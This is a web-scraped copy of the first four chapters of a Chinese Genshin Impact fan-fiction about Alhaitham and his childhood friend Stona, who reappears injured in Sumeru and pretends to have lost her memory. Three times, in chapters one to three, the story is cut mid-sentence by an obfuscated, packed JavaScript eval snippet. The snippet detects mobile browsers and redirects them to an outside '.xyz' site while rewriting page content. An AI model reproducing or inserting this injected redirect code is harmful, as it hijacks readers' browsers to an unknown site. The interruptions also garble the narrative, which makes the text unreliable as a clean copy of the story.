《[原神]竹马是艾尔海森》 1. 第 1 章 拉开窗帘,刺目的阳光照射进来。艾尔海森眯起眼睛,头痛像个努力博取大人关注的孩子,一刻也不肯消停。 他揉着太阳穴打开门,走出去,关上门,然后收起钥匙。 这是一个再平常不过的早晨,似乎什么都没变,又似乎什么都变了。 一,二,三,四,五。 艾尔海森允许自己在家门前停留了五秒钟,他充分利用这五秒钟的时间调整了情绪。 虽然无法完全调整好,但他尽力了。 五秒钟后,他走下门前的石阶,开始了一天的生活。 “阿扎尔是你们明论派的贤者,阿扎尔倒台之后,明论派内部早已经乱成一锅粥了,你们连自己内部的事务都处理不好,就不要妄想能再从你们派里选出大贤者了!” “我们明论派内部的事不用你管!更何况,你们知论派也没好到哪里去!卡瓦贾与阿扎尔同流合污,他们已经遭到了小吉祥草王的放逐。如果说我们明论派乱成了一锅粥,你们知论派就是乱成了一锅有毒的蘑菇汤!” 艾尔海森轻轻叹了口气,头疼越发严重起来。 大贤者阿扎尔倒台之后,艾尔海森迫于无奈,担任了一段时间的代理贤者,而关于大贤者人选的争议早在他递交辞呈之前就已经闹得轰轰烈烈,六大学院的人都很关注大贤者之位最终花落谁家。 今天,六大学院的人又凑在一起,商议应当推举谁成为大贤者。 会议刚开始不久,各学院之间就已经剑拔弩张,火药味十足。 站起来发言的人声音一个比一个大,会议也逐渐从“理智发言”向“比谁嗓门大”转变,相信再过不久,本次会议就会像其他几次推举会议一样,以所有人厮打在一起、场面混乱不堪而告终。 “我们知论派的事还轮不到你们明论派的人来指手画脚!”知论派学者巴哈尔拍桌而起,矛头直指明论派的学者,指完了又转向艾尔海森,激动的情绪略有收敛:“书记官,看在同门情谊的份上,支持一下我。” “在会议上发言不是我的分内工作。”艾尔海森的回答没有丝毫犹豫。 对他来说,不戴耳机降噪已经是他对这场吵闹的会议最大限度的尊重,他不会为了与自己无关的事情与其他人多费口舌。 本来今天的会议他根本就不需要出席,但鉴于之前的几次会议他全部推掉了,知论派的学者本身就少,身为知论派的一员,这次实在推脱不掉,他才被同门拽过来充场面。 艾尔海森在会议中全程保持沉默,既不推举人选,也不参与否决其他学派推举的候选人。 巴哈尔等人看他一点忙都不打算帮,但也无意把本就混乱的现场搞得更加混乱,所以纷纷无视了他的存在,继续言辞激烈地和其他学派争吵着大贤者候选人的问题。 艾尔海森见时机已经成熟,就淡定地起身,沉默地经过吵得正欢的其他学者,离开了会议室。 在经过其他学者的时候,同为知论派的珐露珊前辈还贴心地移动椅子,好让艾尔海森顺利通过。 刚走出会议室没有几步,会议室里就传来椅子摩擦地面和茶杯碎裂的声音。 打起来了。 还好走得快。 艾尔海森迅速远离多人乱斗的会议室,他戴上耳机开启降噪,面无表情地穿过大厅,目不斜视地离开了教令院。 不知道是不是受这场会议的影响,艾尔海森忽然觉得自己的生活好像也不是那么令他满意了。 其实他很清楚自己的心情为什么会不好——今天的会议只是导致他心情不好的因素之一,而且是次要因素。 主要因素,当然就是七天前寄到他家的那封信了。 艾尔海森讨厌无序和混乱,所以即使理性层面上他深知让自己不安的因素是什么,却还是下意识地回避了主要原因,没有像以前一样,用绝不动摇的理智分析、解决问题。 他一直下意识回避的并不是信本身,毕竟信只是语言和思想的载体,这两样东西,艾尔海森从有记忆以来就一直与它们打交道,他对语言和思想都很熟悉。 对于一个熟练掌握三十余种语言、也几乎找不到自己看不懂的书的人来说,他对这封信的回避已经到了有些可笑的程度。 他回避的不是信,而是信上的内容。 斯托娜要结婚了。 如果有人问他斯托娜是谁,首先,艾尔海森会极力避免有人知道斯托娜的事,从而避免回答“斯托娜是谁”这个问题。 当这个问题无法被回避的时候,他会说,斯托娜是他童年时的玩伴。 这个定义足够明确,但不准确,也不够真实。 艾尔海森对斯托娜的真实定义比“童年玩伴”要复杂许多,斯托娜对他而言到底是怎样的存在是他不愿意花时间去思考的问题,因为不管他最终得出的结论是什么都不会对现实产生任何影响,所以思考这一问题只会是浪费时间。 艾尔海森讨厌浪费时间,不管是其他人浪费他的时间,还是他浪费自己的时间,他都讨厌。 所以他尽量不去想太多关于斯托娜的事。 多年以来,“童年玩伴”这个定义都差强人意,虽然远远不够准确,但至少够用。 这个定义可以无声地抹去许多复杂且毫无意义的问题,让艾尔海森在给斯托娜写回信的时候得以将礼貌、简洁又不失友善的行文贯穿始终。 斯托娜自从离开须弥前往蒙德之后,就再也没有与艾尔海森见过面,不过多年来他们二人之间一直保持着频率不高的书信往来。 一开始他们通信的频率还是很高的,但只是一开始而已。 没过多久,来信就变成了一两个月一封,再后来变成一年两封,直至去年一整年都没有信从蒙德寄来,然后就是七天前艾尔海森收到的那封信了。 不管是寄信频率的降低还是信件中越发冷淡的语气都在向艾尔海森传递一个事实,即斯托娜已经厌倦了给他写信,相信两个人断联的日子马上就要到来。 对此,艾尔海森没有异议,断联是很理智的决定。 蒙德与须弥距离太远,他们又只是小时候的玩伴,除了儿时的一些共同回忆以外,他们的生活已经没有任何交集。 每次互相寄送的信件上也渐渐没有什么值得寄送的信息,信件内容越来越简洁,口吻越来越礼貌,还有随着时间的推移而越来越明显的疏离。 哪怕对方是写信告知他自己要结婚的消息时,信中的行文风格也很克制,有一种“虽然并不是很想告诉你,但毕竟我们多年来偶有联系,所以还是有必要给你写一封信告知”的感觉。 就算斯托娜决定把这封信作为他们之间互相寄送的最后一封信,艾尔海森也不会感到惊讶,因为斯托娜并没有在信中邀请他参加婚礼,信封里也没有正式的婚礼邀请函。 她甚至都没有在信里说诸如“蒙德和须弥距离太远,你公务繁忙,一定没时间来参加婚礼”的客套话,信的含义很明确,斯托娜根本不想邀请他参加婚礼。 不被童年玩伴邀请参加婚礼,这让艾尔海森感到有些受伤,但受伤也是他自己的事情,不是斯托娜应该负责的问题,他更无权因此责备对方。 耳机把街上的各种杂音隔绝在外,艾尔海森抛开杂念,专心思考起了重要的问题——该给斯托娜送什么新婚礼物。 即使不参加婚礼,出于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118072|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼节,也应该送上礼物。 新婚礼物……应该送什么呢? 艾尔海森没有这方面的知识储备。 他无意在其他人的婚礼上见证其他人的幸福,也不认为婚姻本身会给人带来幸福。 参加婚礼是非常没有必要且浪费时间的社交活动,所以教令院同门或是其他和艾尔海森有点交情的相识的婚礼邀请,艾尔海森通通拒绝了。 新婚礼物也是社交的一部分,所以他当然也从来不会为新人准备礼物。 该送什么呢。 香料……须弥的香料很有名气,但是他不了解斯托娜的口味,贸然送香料不够礼貌,礼物送过去之后说不定反而会成为负担。 香水的话……艾尔海森对香水算不上有研究,也不知道斯托娜喜欢什么味道。 而且香水是比香料更加私密的东西,把香水作为新婚礼物送给新娘,怕是不够妥当。 红酒倒是个不错的选择,既能表示友好的祝愿,又不会显得过于亲密,艾尔海森记得之前教令院地同门结婚,很多人都选择送红酒作为礼物。 只是酒瓶容易磕碰,从须弥到蒙德路途遥远,如果路上发生意外,让斯托娜收到破了洞的空酒瓶,实在过于扫兴。 而且蒙德盛产美酒,斯托娜从须弥离开前往蒙德的时候还不满十岁,她已经在蒙德住了很多年。 给住在盛产美酒的蒙德的斯托娜送红酒,未免有点班门弄斧的意思。 艾尔海森从宝商街走到大巴扎,又从大巴扎回到宝商街,仍然没有选中合适的礼物。 他挑选礼物的态度之认真,就像在研究一篇晦涩难懂的论文。 其实这个比喻不够恰当,因为艾尔海森很少遇到难懂的论文,为斯托娜挑选新婚礼物比看论文或是写论文的难度都要大许多。 艾尔海森不喜欢用像是“许多”这种意思含混不清的词汇,但这个词却完美描述了他此时此刻的心境,从描述他心境的层面上来说,“许多”又是个很确切的词。 他找了很久,最终买下了一对儿花瓶。 花瓶是用传统须弥工艺烧制的,颜色低调,花纹也不复杂,作为室内装饰或是放在户外装点庭院都是不错的选择。 ——不过花瓶还不是艾尔海森的最终决定,而是备选方案。 如果想不出比花瓶更加合适的礼物的话,就把花瓶作为新婚礼物寄出。 也不知道她会不会喜欢。 斯托娜寄来的信上甚至没有写明婚礼的确切日期。货物从须弥到蒙德要运送很久,等礼物送到蒙德的时候,说不定对方的蜜月旅行都已经结束了。 艾尔海森看着花瓶,嘴角轻轻扬起,是苦笑。 他不经常笑,更不经常苦笑,所以他对自己脸上的笑容感到有些不适应。 因为要与卖花瓶的商人交谈,艾尔海森摘下了耳机。 他忽然听到从不远处传来议论的声音,不是那种不希望别人听到的窃窃私语,而是要比窃窃私语更加明目张胆的议论声。 艾尔海森向来不喜欢管闲事,平时戴着耳机,他根本听不到周围的声响。 但现在他没戴耳机,而且手里有两个易碎的花瓶,所以他对周围环境就多了几分警惕。因此,他转头往议论声的源头看去。 一瞬间,艾尔海森恍惚以为自己是在做噩梦。 斯托娜——不是小时候的斯托娜,而是明显已经长大成人的斯托娜——出现在了须弥城。 散乱的头发、惊恐的眼神、沾满泥污的衣裙,熟悉又陌生的身影。 这个身影与艾尔海森印象中斯托娜的身影重合在一起,大书记官聪明的大脑在这一刻忽然宕机。 2. 第 2 章 又下雨了。 这是斯托娜再次醒来后的第一个念头。 她迷路的这个森林里经常下雨,如果不是侥幸发现了这个干燥的山洞的话,恐怕她现在身上已经长满蘑菇了。 说起蘑菇…… 斯托娜从地上爬了起来。 好不容易点燃的火堆早就熄灭,火堆旁边还有几个吃剩的蘑菇。 导致她昏迷的罪魁祸首,应该就是这些蘑菇吧。 虽然是毒蘑菇,但也没办法啊。她不太会分辨蘑菇,而且蘑菇是森林里最常见的食物了,在饿死和中毒这两个选项之中,还是中毒相对容易接受一点。 斯托娜不知道自己昏迷了多久,但现在外面已经是白天,她吃蘑菇时是傍晚,所以据此推测,她少说也昏迷了半天。 肚子很饿,说明她昏迷的时间应该比半天要长。 斯托娜拖着疲惫的步伐,一瘸一拐来到洞口,把没吃完的毒蘑菇丢了出去。 但很快,她因为担心那些毒蘑菇会被其他路过的人捡到,就冒着雨出去把蘑菇都捡了回来,打算等雨停之后挖个坑埋掉。 雨还在下,斯托娜坐在洞口看雨。 她的头痛得就像要裂开一样,不知道头痛是不是吃了毒蘑菇后的中毒反应之一。 忽然,一个绿色圆滚滚的小动物蹦蹦跳跳地靠近了斯托娜。 这个小动物像果冻一样圆滚滚的,脑袋上还顶着一片荷叶一样的东西,总之是以前从来没见过的物种。 斯托娜眨眨眼睛。 自己这是……出现幻觉了吗?这也是中毒的现象之一吗? 绿色的小动物好像并不害怕她,它弹跳着来到她面前,停在了毒蘑菇面前。 “你饿了吗?”斯托娜问,她把毒蘑菇抱在怀里不给它,“这些蘑菇有毒,不能吃。” 绿色小动物原地跳了两下,然后围着斯托娜转了一圈。 斯托娜发现它好像不会说话,不过看起来很友善,没有攻击她的意图。 小动物停在了她左腿前方,原地跳了跳。 “我知道,是之前不小心摔下山崖的时候受伤的。”斯托娜解释说。 她的左腿在前几天不慎摔伤,很疼,几乎走不了路,应该是骨折了。 那次摔下山崖之后,她也昏迷了一段时间,醒来的时候与一只青蛙面面相觑,场面极其尴尬。 斯托娜拽了拽裙子。她的裙子已经被雨水和污泥浸湿,难受地贴在身上。她的身上没有任何值钱的东西,只有一个奇怪的耳饰。 耳饰挂在左耳,看上去是一块偏扁的圆形宝石,但是颜色有些怪异,是黑色的,而且是那种不太干净的黑色,就好像被火焰烧焦了一样。 斯托娜指指自己奇怪的耳饰,问绿色的小动物:“你知道这个是什么吗?” 绿色小动物原地跳了跳,但它不会说话,从它跳动的幅度来看,它不知道这到底是什么东西。 对方似乎因为回答不出她的问题而情绪有些低落,不跳也不动了。 “没关系啦,只是随口一问而已,你不需要自责。”斯托娜试探着伸出手,轻轻摸了摸对方脑袋上的荷叶。 虽然看起来像荷叶,但手感摸上去却类似蘑菇呢。 “这是我的神之眼,”斯托娜解释说,“只不过它现在看起来一点儿也不像神之眼,更像是……一块煤炭。” 斯托娜引以为豪的东西不多,她的神之眼就是其中之一。 但如今神之眼也弃她而去,不知道什么时候才能恢复正常,她变得彻底孤立无援了。 黑色的神之眼放在地面上,几乎和地面融为一体。 斯托娜盯着神之眼看了一会儿,然后重新捡起了它。 绿色小动物跳了两下,然后转身往洞口处跑去。 “等等,外面在下雨呢!” 但是对方没有停,而是径直出了洞口。 这片森林这么大,如果遇到大型肉食动物的话就糟糕了。 斯托娜勉强站起来,忍着疼痛一瘸一拐地追了出去。 绿色的小动物避开了水深的区域,它绕过突出地面的树根和巨大的石头,最终在几棵结有果实的大树下停下了脚步,然后动作灵巧地爬到树上,摘了几个果子下来。 “原来你是在帮我找吃的啊,谢谢你。” 斯托娜扶着树慢慢坐下来,腿疼得厉害,她得休息一会儿。好在树的树叶足够繁茂,躲在树下可以避雨。 恢复了一些精神之后,雨停了,斯托娜和绿色的小动物原路返回山洞。 斯托娜把山洞里的毒蘑菇拿出来埋掉,然后在小溪边冲洗双手。 她对绿色的小动物说,“你好像对这里很熟悉的样子,可以带我离开这里吗?” 绿色的小生灵原地转了个圈,似乎是同意了。 “等一下。”斯托娜摘下左耳的耳饰,放在手里。 斯托娜不抱希望地用手拍了拍神之眼,希望它能给点反应。 没有反应。 看来是彻底坏掉了。 斯托娜从家匆匆逃出来后上了一艘商船。当时她没想太多,只想离开家,逃得越远越好。 但是好巧不巧,商船的目的地是须弥。 斯托娜希望能够离开家,逃得越远越好,但她唯一不想去的地方就是须弥,因为担心遇到那个人。 但阴差阳错她还是来到了须弥。 商船靠岸之后,斯托娜就匆匆下了船,打算往东走,去璃月,等到了璃月之后再考虑接下来该怎么办。 但,她的运气依旧不好,走在半路上遇到了强盗。 神之眼在她离家之前就已经无法使用,没了神之眼的帮助,斯托娜一个人根本不是那些强盗的对手,她只能逃跑。 于是她逃进了须弥迷宫般的森林,成功躲开了强盗,但也迷路了。 虽说她小时候好歹也在须弥住了近十年的时间,但那已经是十几年前的事了。 雨林每时每刻都在发生变化,十几年的时间足以让雨林改头换面,变得十分陌生,斯托娜面对陌生的雨林,完全找不到出路。 回忆结束。 斯托娜长叹一声,收起神之眼,问绿色的小动物:“你知道须弥城在哪里吗?” 小动物原地转了两圈,似乎是知道怎样去须弥城。 “可以带我去吗?拜托了。” 目前的情况可以说是坏到了极点,斯托娜打算先想办法离开雨林,到须弥城去,给远在蒙德的父母写一封信报平安,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118073|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们不要担心自己。 信寄出之后她就按照之前的计划去璃月,这样一来,就算父母收到信后派人到须弥来找她,她也早就离开了。 还有腿上的伤……斯托娜为难地看着自己的腿,皱眉。 ——以后再说吧,现在离开这里才是最重要的。 绿色的小动物在前面带路,斯托娜跟在它身后,一瘸一拐地从雨林深处走了出来。 接下来的路她自己也能辨认,只要沿着大路往北走就是须弥城了。 “谢谢——欸?”斯托娜正要道谢,一转头,绿色的小动物已经不在了。 这次真是遇到救星了,如果没有它的话,她恐怕还要在雨林里迷路、吃毒蘑菇呢。 拖着受伤的腿来到须弥城,这个地方和斯托娜记忆中的须弥城相比有了很大的变化,也不知道是不是她太久没有来的原因,总感觉托举着教令院的圣树好像比十几年前长得更高了。 但现在不是感慨的时候,她还有事要去做。 走在热闹的须弥城里,其他人看到斯托娜后纷纷侧目,窃窃私语。 这倒也不能怪他们,毕竟她现在的样子十分可疑。 破损的长裙上沾满了污泥,头发就像一团杂乱的水草,她整个人看起来就像是从沼泽地里爬出来的一样,而且事实就是,她确实摔进过沼泽地里又艰难地爬了出来。 被这么多双眼睛盯着,斯托娜感到很不自在。 好丢人啊。 但也没办法了,她没有可以换的衣服,也没有钱,身上仅有的有点价值的神之眼还坏掉了,只好请须弥城的大家忍耐一下她狼狈的样子了。 狼狈就狼狈吧,只要不遇到那个人就好。 好在须弥城这么大,不会那么巧偏偏在今天和那个人重逢的。 斯托娜拖着受伤的左腿往前走,边走边自我安慰,天底下不会发生那么巧的事,在偌大的须弥城偶遇艾尔海森的概率,简直比她在路上遇到强盗然后躲进森林里又不巧迷路的概率还要低。 所以根本不需要担心—— 前方不远处忽然传来什么东西碎裂的声音,斯托娜没多想就抬头往声音的源头看去,然后停下了脚步。 不是因为左腿太疼,导致她想停下来休息——左腿的确很疼,她也的确想停下来休息,但她停下脚步却不是因为想休息。 大约二十步开外的地方站着一个人。 这个人看起来既熟悉又陌生,像是个完全的陌生人,但他的身上有一种让斯托娜感到非常熟悉的东西,以至于斯托娜的大脑直接跳过了“怀疑”这个步骤,毫不犹豫地确定了这个人的身份。 艾尔海森,这个她眼下最不想遇见的人,就站在距离她只有二十步的地方看着她。 糟糕了。 糟。糕。了。 恐慌以比饥饿感更加迅猛的气势席卷了她。 怎么办怎么办?逃跑吗?可是肯定逃不掉啊! 现在怎么办? 逃不了,那就逃避吧。 斯托娜认命地往地上倒去,想要假装晕倒,逃避接下来不得不面对的一切。 ——幸运就在这个她最不幸的时刻降临了,不知道是因为受惊过度还是体力不支,她竟然真的晕倒了。 3. 第 3 章 斯托娜的情况比他想象得还要严重。 经过检查,斯托娜左腿骨折,轻微脑震荡,贫血,除此之外,她身上大大小小的擦伤多达几十处,不过好在没有致命伤。 在花瓶从艾尔海森手中滑落后,斯托娜就转身看向了他。 他们两个隔着人群相望,艾尔海森宕机的大脑还没来得及做出反应,斯托娜就已经倒地。 艾尔海森的行动先于思考,他冲过去抱起斯托娜,把人送进了医院。 行动先于思考,这对于艾尔海森来说是很少见的现象,他总是先思考再行动。 但这次情况特殊,他的大脑罕见地迟钝了。 手术结束之后,斯托娜尚未醒来,艾尔海森坐在病床前,眉头紧锁,思考着目前的情况。 结论并不难得出——斯托娜多半是遭遇了抢劫,在逃跑过程中受了伤。 这可以解释她为什么会受伤,也能解释她为什么身无分文,而且是孤身一人。 不过“遭遇抢劫”这个结论还无法解释一个事实,即她的神之眼出现的问题。 艾尔海森的目光移动到病床旁边的桌子上,斯托娜的神之眼就放在那里。 原本应该散发出红色光芒的神之眼,此时此刻却黑得像一块煤炭。 无主的神之眼会失去光芒,此类事件艾尔海森虽然没有亲身经历,但他读到过不少类似的文件资料,无主的神之眼失去光芒并不是多么罕见的事情。 但像斯托娜的神之眼这样变黑的案例,艾尔海森还从没接触过。 如果说她的神之眼是在被抢劫的途中因为突发情况发生了变化,倒是有可能。 但整件事依旧十分古怪,即将举办婚礼的斯托娜,现在难道不应该正在蒙德筹备自己的婚礼吗?为什么会出现在须弥城? 难道她想到须弥来举办婚礼? 就算真的是这样,那么其他人呢?她不可能是自己一个人回来的。 而且,斯托娜根本没有理由回到须弥来举办婚礼,因为她的家人都在蒙德。 至于朋友……她十岁就离开须弥了,在须弥居住的、算得上是她的朋友的,就只有他一个人,而艾尔海森深知,以他和斯托娜平均一年才通信一次的薄弱交情,斯托娜是绝对不可能为了他特意到须弥来的。 已知的线索太少,仅有的线索又处处透着古怪,艾尔海森无法得出准确的结论。 他有无数的问题想问,但斯托娜目前最需要的是休息,而不是回答他的问题,所以他安静地在一旁等待,放任各种他无法回答的问题塞满自己的大脑。 斯托娜睡了很久,久到艾尔海森确信麻醉的时效早就过了,斯托娜还是没有醒来。 “病人大概是太过劳累,所以才会到现在都没有醒来,”护士解释说,“再等等吧,应该很快就会醒了。” 理智告诉艾尔海森,斯托娜的确是如护士所说,只是太过劳累才没有醒来。 但他头脑中不理智的部分(难以想象他的大脑竟然不是百分之百理智,艾尔海森对这个新发现感到惊讶)却一直在说,也许斯托娜受的伤比医生检测到的更加严重,也许她中了毒,也许她永远都不会再醒过来了。 然后斯托娜就醒了。 不是那种睡到自然醒然后缓缓睁开双眼的醒来,而是猛地睁开眼睛、神情惊恐就好像是做了噩梦的那种醒来。 破天荒的,一天之中第二次,艾尔海森先行动后思考,他向前倾身握住了斯托娜的手:“别担心,你现在安全了。” 斯托娜仍然一脸惊恐地看着他,她先是看了他一会儿,然后移开目光,打量起病房:“这里是——” “这里是医院,”艾尔海森说,“你的伤都处理过了,神之眼就在桌上,没有丢失。医生说观察两周左右就可以出院。到底发生了什么事?” 斯托娜眨眨眼睛,好像不明白他的话。 艾尔海森有足够的耐心。 之前医生已经对他解释过斯托娜的病情,斯托娜有轻微的脑震荡,反应有些迟钝是正常现象。 艾尔海森正要放慢语速再问一次,斯托娜却率先开口问道:“请问你是?” “我——” 对于生活一向波澜不惊的艾尔海森来说,今天的惊吓实在有些过多了。 但他的大脑迅速做出了反应。 他们已经十几年没有见过面了,在这十几年间,他们互相没有寄过照片,而最后一次见面的时候,他们只有十岁。 斯托娜没有认出他,这很正常。 ——虽然他在见到斯托娜的那一瞬间就认出了对方,对方却无法认出他。 艾尔海森压下了这个令人不快的想法,简单解释道:“艾尔海森,如果你还记得这个名字的话。” 她当然还记得这个名字,艾尔海森知道她当然记得,只是他现在心情有些不好,所以在报出自己的名字之后,没忍住在后面加了这句带刺的话。 但出乎艾尔海森预料的是,斯托娜在听到他的名字后似乎还是……不,甚至变得比刚才更加困惑了。 “我……应该记得这个名字吗?”斯托娜看起来有些心虚,她舔舔嘴唇,“抱歉,我好像不记得了。” 不快像雨后的蘑菇一样迅速冒了出来,侵占了艾尔海森一向井井有条的大脑。 斯托娜寄给他的信七天前才刚刚送到,就算须弥和蒙德之间距离较远,这封信也一定是近几个月写的,她怎么可能会在几个月的时间里就这样忘掉他的名字—— 忽然,艾尔海森意识到,自己因为冲动而得出了错误的判断。 斯托娜不是不记得他的名字,她是根本就不记得他。 “你还记得你叫什么名字吗?”艾尔海森问。 斯托娜愣了一下,想了想,然后摇头:“不记得。” 脑震荡而导致记忆缺失是比较常见的现象,一时想不起自己是谁的情况在脑震荡患者中并不算罕见。 ——至少艾尔海森理性的大脑是这样想的,但至于大脑中不理性的那部分……他现在不想理会不理智的那部分。 “你知道我是谁吗?”斯托娜问。 “你叫斯托娜,我是你的——”艾尔海森欲言又止。 要说她是自己的“童年玩伴”吗?这个对外的说辞,也要原封不动地传达给斯托娜吗? 艾尔海森纠结了几秒钟,最终说:“我们是朋友。”他不想在这个话题上多做停留,所以回答完毕之后就立刻说道:“医生诊断你有轻微的脑震荡,可能是因此导致你的记忆出现了暂时的空白。不要担心,一般来说这种症状会在短时间内逐渐消失,你的记忆会恢复的。” 但斯托娜似乎对他的话不够信任:“你说你是我的朋友,有证据吗?” “我们这些年来一直有书信往来。” 斯托娜想了想,说:“有我们的合照之类的证明吗?如果只是书信的话,恐怕——” 书信上没有照片,比较容易伪造,她有这方面的担心倒也在情理之中。 尽管对方的怀疑很正常,艾尔海森还是对对方看向自己时那不信任的目光感到不快。 他压下叹气的冲动,回答道:“有,虽然是多年前的照片,但作为证据想必也绰绰有余了。” “可以把照片拿来让我看一下吗?”斯托娜问,“兴许我看了照片之后就能想起来自己是谁了。” 艾尔海森皱眉:“你是说……现在?” 斯托娜点点头:“如果你不介意的话。” 他当然介意。 对方刚刚苏醒,记忆还没有恢复,也不知道她在此之前都遭遇了什么,现在却需要他离开医院回家去取一张十几年前的老照片。 他不想。 但斯托娜的请求很合理,他没有正当的拒绝理由。 “好吧,稍等。” “需要等很久吗?”斯托娜问。 “不需要,我家就在这附近。” “好的,麻烦你了。” 斯托娜没有再说话,而是静静地看着他,无声的催促。 艾尔海森点点头,离开了病房。 在须弥,房产也属于学术资源。只要负责的课题足够优质,就能获得一处靠近教令院且非常宜居的房产。 艾尔海森就有这样一处房产。 自从前课题合作者卡维搬走之后,艾尔海森就恢复了独居生活,并且不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118074|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算再为自己找一个新的室友。 在今天以前,他一直过着平静的生活。 在回家的路上,艾尔海森决定把这些年来斯托娜寄给自己的信连同照片一起带去医院,照片是主要证据,信件则作为补充性的证明。 艾尔海森很注重个人隐私,连唯一的室友、如今的前室友卡维都不知道他一直与斯托娜有书信往来,更不知道他一直小心保管着斯托娜寄来的全部信件和十几年前的合照。 合照并不是他与斯托娜的双人合照,而是很多人一起拍的,是在夏令营的最后一天留下的合影。 艾尔海森对拍照不感兴趣,所以很少答应拍照,但那次不同,因为夏令营结束之后,斯托娜就要离开了。 斯托娜的父母因为工作的关系需要前往蒙德,斯托娜在须弥没有其他亲人,她年纪又小,所以理所应当要和父母一起去蒙德。 艾尔海森是最早知道这个消息的,因为斯托娜在得知全家必须离开须弥并且父母对她的抗议置之不理之后,就立刻把这件事告诉了艾尔海森。 “但是没关系,我们还是好朋友,我会经常给你写信的!你也要给我写信!不能因为我去了那么远的地方就把我忘掉!” 十岁的斯托娜握着十岁的艾尔海森的手,神情十分认真。 十岁的艾尔海森已经读了很多书,明白了很多事,所以他对于远距离的友谊并不持乐观态度。 可是斯托娜的热情给了他一丝希望,所以他答应了。 斯托娜离开一周后,就有信件寄来。 信的内容不算长,只有两页纸,但斯托娜不喜欢写字,所以能写两页纸对她来说已经很不容易了。 之后也陆续有斯托娜的信寄来,但斯托娜在信里让艾尔海森先不要给她寄信,因为她还在路上,歇脚的地点每天都在变,她收不到艾尔海森的信。 “但是我寄给你的每封信都要给我写回信哦,等我到蒙德之后,你就把信全部寄给我!”斯托娜在写给艾尔海森的信里这样叮嘱道。 艾尔海森把对方的话牢记在心,直到斯托娜最新的来信里写明了她在蒙德的住址之后,艾尔海森才把厚厚的回信全部寄了出去。 但他等来的回信却不是像他所期待的那样,信的内容完全变了味,变得更短,更简洁,更冷淡,而且这封回信他等了很久才收到。 艾尔海森从小就比同龄人聪明,看出信中字里行间的冷淡对他而言并非难事,而根据自己收到信件的时间反推斯托娜写信的时间也是轻而易举。 显然,斯托娜在到达蒙德以后就懒得立刻给他写信了,大概是被蒙德的新鲜事物分了心,又或是交了新的好朋友吧。 艾尔海森知道对方态度的转变只是迟早的事,只是他没想到会这么快发生。 斯托娜回信总是很慢,她的字迹越来越优美,语气却越来越冷淡,到后来甚至变得像是仅仅出于礼貌才给他写信,信里除了客套的问候与寒暄外几乎什么也没有。 回到距离医院不远的自己家,艾尔海森找出斯托娜写给他的信件,把夏令营时拍的合照背面向上放在信封上,加快脚步往医院走去。 在回医院的路上,迎面走来的一个人忽然冲着他“哦”了一声。 艾尔海森没戴耳机,所以听到了对方的声音,但他赶时间,所以决定不去理会。 对方却不依不饶地挡在了他面前。 “好久不见啊,书——”对方皱起眉,紧急闭了嘴,然后开始绞尽脑汁地回忆艾尔海森的名字,“你叫什么来着?” “你认错人了。” 艾尔海森扔下这句话就走,但对方显然对这个回答并不满意,他拽住艾尔海森:“不可能,你就是书——等一等,我就快想起来了!” 艾尔海森甩开他的手:“‘书呆子’是吗?你以前都是这样叫我的,没必要现在又努力回忆我的名字。” 对方愣住了,不知道是出于愧疚还是惊讶,他没有再说什么。 艾尔海森目的达到,他看也不看对方就离开了。 艾尔海森带着照片和信件返回了医院,推开了斯托娜病房的门。 ——病床上是空的,斯托娜不见了。 4. 第 4 章 可恶啊,怎么就醒了呢,并不想现在就醒过来啊。 在医院醒来的斯托娜,第一个念头就是希望自己可以再昏迷一次。 刚才在街上,她的运气十分不好,没走多久就遇到了艾尔海森。 本来只是想假装晕倒来逃避对方的疑问,没想到自己真的晕倒了。 但她很清楚艾尔海森不会因为她晕倒了就放弃向她提出疑问,相反,晕倒只会让艾尔海森产生更多的疑问。 斯托娜不想回答对方的问题,因为就连她自己都没有把目前的情况完全考虑清楚,她更不想把艾尔海森也卷进来。 那么该怎么办呢? 只有假装失忆了。 这听起来是个很荒唐的办法,但这已经是斯托娜在极其有限的时间里能想出来的最好的办法了。 艾尔海森太聪明了,他小时候就那么聪明,长大了之后一定更是聪明到不行,如果要对他撒谎的话,对方一定很快就会戳穿她的谎言,而她又不想把真相告诉他。 所以只能假装失忆了吧,一问三不知,对方想质疑都没有质疑的证据。 “你还记得你叫什么名字吗?”艾尔海森问她。 斯托娜假装愣了一下,假装想了想,然后摇头:“不记得。” 对方好像相信了她的话,并没有立刻再次发问。 斯托娜简直都要感谢自己前几天摔的那一跤,如果没有脑震荡的话,艾尔海森一定不会轻易相信“失忆”这种理由。 艾尔海森被她暂时骗过,但斯托娜相信过不了多久,对方就会发现她在撒谎,所以她得赶在对方反应过来之前赶紧溜。 想从这里溜走,当然需要先把艾尔海森给支走。 